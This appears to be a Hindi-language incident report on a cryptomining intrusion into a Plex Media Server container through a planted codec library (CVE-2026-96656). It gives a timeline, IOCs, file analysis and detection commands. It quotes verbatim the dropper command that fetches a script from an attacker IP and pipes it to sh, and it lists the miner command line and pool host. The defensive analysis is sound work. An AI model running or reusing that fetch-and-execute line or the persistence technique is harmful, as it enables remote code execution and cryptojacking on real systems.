
घटना रिपोर्ट: Plex Media Server कोडेक कैश में अहस्ताक्षरित .so हर ट्रांसकोड पर एक ड्रॉपर निष्पादित करता है (CVE-2026-96656) — IOC, STIX, YARA
.so हर ट्रांसकोड पर एक Monero माइनर चलाता हैघटना की तारीख: 2026-10-17 → 2026-10-18 (UTC+02:00)
भेद्यता: CVE-2026-96656 (CVSS 4.0: 8.6, CISA-द्वारा निर्धारित) — Plex Media Server 1.43.3.10861 में ठीक किया गया
प्रभावित: Plex Media Server 1.43.2.10687 (Linux, आधिकारिक linuxserver/plex कंटेनर)
स्थिति: नियंत्रित; होस्ट को फिर से बनाने की आवश्यकता नहीं (कोडेक कैश के बाहर डिस्क पर कोई स्थायित्व नहीं)
Plex सर्वर तक पहुँच रखने वाले एक हमलावर ने zz45fbb275.so नाम की एक अहस्ताक्षरित शेयर्ड ऑब्जेक्ट को एप्लिकेशन की कोडेक डायरेक्टरी में डाल दिया — यह एक ऐसी डायरेक्टरी है जिसे Plex स्वयं भरता है और FFMPEG_EXTERNAL_LIBS के माध्यम से हर ट्रांसकोडर को पास करता है। यह ऑब्जेक्ट कुछ भी एक्सपोर्ट नहीं करता और कोई निर्भरता घोषित नहीं करता; इसका पूरा पेलोड एक ही .init_array कंस्ट्रक्टर है, इसलिए यह उसी क्षण निष्पादित हो जाता है जब ट्रांसकोडर इसे dlopen() करता है।
इसलिए हर ट्रांसकोड — कोई क्लाइंट प्ले दबाना, या लाइब्रेरी के थंबनेल/विश्लेषण कार्य — दोबारा चलाता था:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
जिसने xmrig-व्युत्पन्न RandomX माइनर (x12345) डाउनलोड किया और उसे
ota.proxystream.st:3333 के विरुद्ध --rig-id plexdocker के साथ शुरू किया। कोई cron जॉब नहीं, कोई systemd
यूनिट नहीं, कोई rc-फ़ाइल संपादन नहीं, और कोई संशोधित बाइनरी नहीं: कोडेक कैश ही persistence
तंत्र था। केवल माइनर को मारना अगली प्लेबैक पर होस्ट को फिर से संक्रमित कर देता था।
| समय | घटना |
|---|---|
| Oct 17 07:50 | 45.194.92.222 से पहला WAN सत्र; अनुरोध guest के रूप में प्रमाणित होते हैं, फिर एक Companion प्लेयर पंजीकृत करते हैं और /player/* तथा agent एंडपॉइंट्स को संचालित करते हैं |
| Oct 17 17:20 | …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ में zz45fbb275.so बनाई गई (डायरेक्टरी का mtime बदलता है; कोई अन्य फ़ाइल प्रकट नहीं होती) |
| Oct 17 17:23 | /tmp/x12345 लिखी गई (8,350,992 बाइट्स) |
| Oct 17 17:40 | माइनर चल रहा है: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker, ~127 % CPU |
| Oct 18 10:48 | बाद के ट्रांसकोड द्वारा दूसरी ड्रॉपर श्रृंखला उत्पन्न — पेलोड मांग पर फिर से चलता है |
| Oct 18 11:14 | पहचान: माइनिंग प्रक्रिया मिली जिसका PPid कंटेनर के PID 1 की ओर इंगित करता है |
| Oct 18 11:20–11:35 | नियंत्रण: .so हटाई गई, Plex को 1.43.4 में अपडेट किया गया, 32400 तक WAN पहुँच बंद की गई |
सर्वर इंटरनेट से पहुँच योग्य था (Plex का अपना UPnP पोर्ट मैपिंग)। Plex लॉग
दिखाते हैं कि स्रोत 45.194.92.222 guest के रूप में प्रमाणित हो रहा है और उसी मिनट agent कॉल जारी कर रहा है
जिस मिनट .so प्रकट हुई; एक दूसरा पता, 91.92.40.202, भी guest प्रमाणीकरण के साथ प्रकट होता है।
CVE-2026-96656 का सार्वजनिक विवरण इस आर्टिफ़ैक्ट से ठीक मेल खाता है:
Plex Media Server 1.43.3.10861 से पहले एक admin उपयोगकर्ता को मनमानी फ़ाइलें लिखने की अनुमति देता है जो लोड होने पर निष्पादित हो सकती हैं। प्राथमिकता
TranscoderH264Optionsको प्रत्येक ट्रांसकोड पर x264 के विकल्प स्ट्रिंग में शब्दशः जोड़ा जाता है। स्टार्टअप पर, सभी .so फ़ाइलें बिना हस्ताक्षर, execute बिट, या प्रतीक जाँच के चलाई जाती हैं।
दो परिणाम स्पष्ट रूप से बताने योग्य हैं:
PR:H)। ऊपर दिए गए guest-प्रमाणित अनुरोध
अपने आप में फ़ाइल लेखन की व्याख्या नहीं करते, इसलिए सर्वर के admin टोकन को चाहे अनुरोध किसी भी तरह किया गया हो,
समझौता किया गया माना जाना चाहिए।.so फ़ाइलों पर कोई execution बिट, हस्ताक्षर या प्रतीक जाँच नहीं की जाती, यही कारण है कि
एकल कंस्ट्रक्टर वाली कुछ न करने वाली लाइब्रेरी एक पूर्ण पेलोड है।हमने फ़ाइल लिखने वाले विशिष्ट अनुरोध को कैप्चर नहीं किया — ड्रॉप का प्रमाण
फ़ाइलसिस्टम टाइमस्टैम्प और निष्पादन श्रृंखला से है, पैकेट कैप्चर से नहीं। प्रभावित होस्ट पर
TranscoderH264Options प्राथमिकता बाद में खाली पाई गई,
इसलिए फ़ाइल लिखने के लिए उपयोग किया गया मान या तो रीसेट किया गया था या अधिलेखित किया गया था; यही श्रृंखला का वह एक हिस्सा है जिसे हम
बाद में पुनर्निर्मित नहीं कर सकते।
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
चूँकि कंस्ट्रक्टर लोड होने पर चलता है, ऑब्जेक्ट को किसी भी कोडेक API को लागू करने की आवश्यकता नहीं है। इसे केवल उसी डायरेक्टरी में होना चाहिए जहाँ से ट्रांसकोडर लाइब्रेरीज़ लोड करता है।
प्लेसमेंट विवरण जिन पर ध्यान देना उचित है:
lib*.so नहीं है; कोडेक डायरेक्टरी में हर वैध फ़ाइल का नाम ऐसा ही होता है
(libh264_decoder.so, libhevc_decoder.so, …)। zz संभवतः अंत में क्रमबद्ध होने के लिए चुना गया था।Codecs/<set-id>-linux-x86_64/) सामान्यतः केवल
Plex के अपने कोडेक डाउनलोड द्वारा लिखी जाती है, जिसकी सभी फ़ाइलों के नाम पर lib उपसर्ग होता है।EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder उस ट्री में मौजूद एकमात्र अन्य गैर-lib
ऑब्जेक्ट है।filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker एक निश्चित ऑपरेटर टैग है — flow डेटा और pool टेलीमेट्री में pivot खोजों के लिए उपयोगी। प्रक्रिया T (रुकी हुई) स्थिति में पाई गई और ~2.3 GB RSS रखे हुए थी: रुका हुआ होना हानिरहित नहीं है, यह फिर से शुरू होती है और हैशिंग जारी रखती है।
PPid कंटेनर के PID 1 (s6-svscan) की ओर इंगित कर रहा था क्योंकि वास्तविक parent पहले ही बाहर निकल चुका था — यह reparenting था, supervision नहीं। वास्तविक launcher केवल साझा socketpair के माध्यम से दिखाई दे रहा था: ss -xp ने sh/wget श्रृंखला, Plex Transcoder, tuner सेवा और Plex सर्वर को एक ही socket pair पर सूचीबद्ध किया, और लाइव Plex Transcoder के children में चलने पर dropper उसका child के रूप में दिखा। ट्रिगर स्वयं transcode था।
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
जो भी हिट EasyAudioEncoder नहीं है, वह संदिग्ध है। ऐसी कोडेक डायरेक्टरी को भी फ़्लैग करें जिसका
mtime बदला हो, लेकिन उसके अनुरूप कोई lib*.so न जोड़ा गया हो।
उस प्राथमिकता की जाँच करें जिसका दुरुपयोग CVE-2026-96656 मनमानी फ़ाइल लेखन के लिए करता है:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
एक गैर-रिक्त मान पढ़ने योग्य है — इसे हर ट्रांसकोड पर x264 के विकल्प स्ट्रिंग में शब्दशः जोड़ा जाता है, और इसमें जो भी फ़ाइलनाम-जैसा होता है वह डिस्क पर लिख दिया जाता है। यहाँ होस्ट पर घटना के बाद यह खाली था, इसलिए अनुपस्थिति अनुपस्थिति का प्रमाण नहीं है: फ़ाइल के mtime के साथ सहसंबंधित करें।
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'
pkill -f बिना किसी अतिरिक्त संशोधन के पैटर्न के साथ उसे चलाने वाले शेल को ही मार देगा (वह पैटर्न उस शेल की कमांड लाइन का हिस्सा होता है) — ब्रैकेटेड रूप का उपयोग करें या PID द्वारा kill करें।
WAN पते से आने वाले अतिथि प्रमाणीकरण के बाद एजेंट/कंपेनियन गतिविधि की तलाश करें, और उसी मिनट में कोडेक निर्देशिका में एक नई फ़ाइल का दिखना:
Auth: authenticating user as guest
Request: [<wan-ip>:<port> (WAN)] GET /identity
Request: [<wan-ip>:<port> (WAN)] GET /player/proxy/poll …
Request: [127.0.0.1:<port> (Loopback)] POST /system/agents/z/searchOne …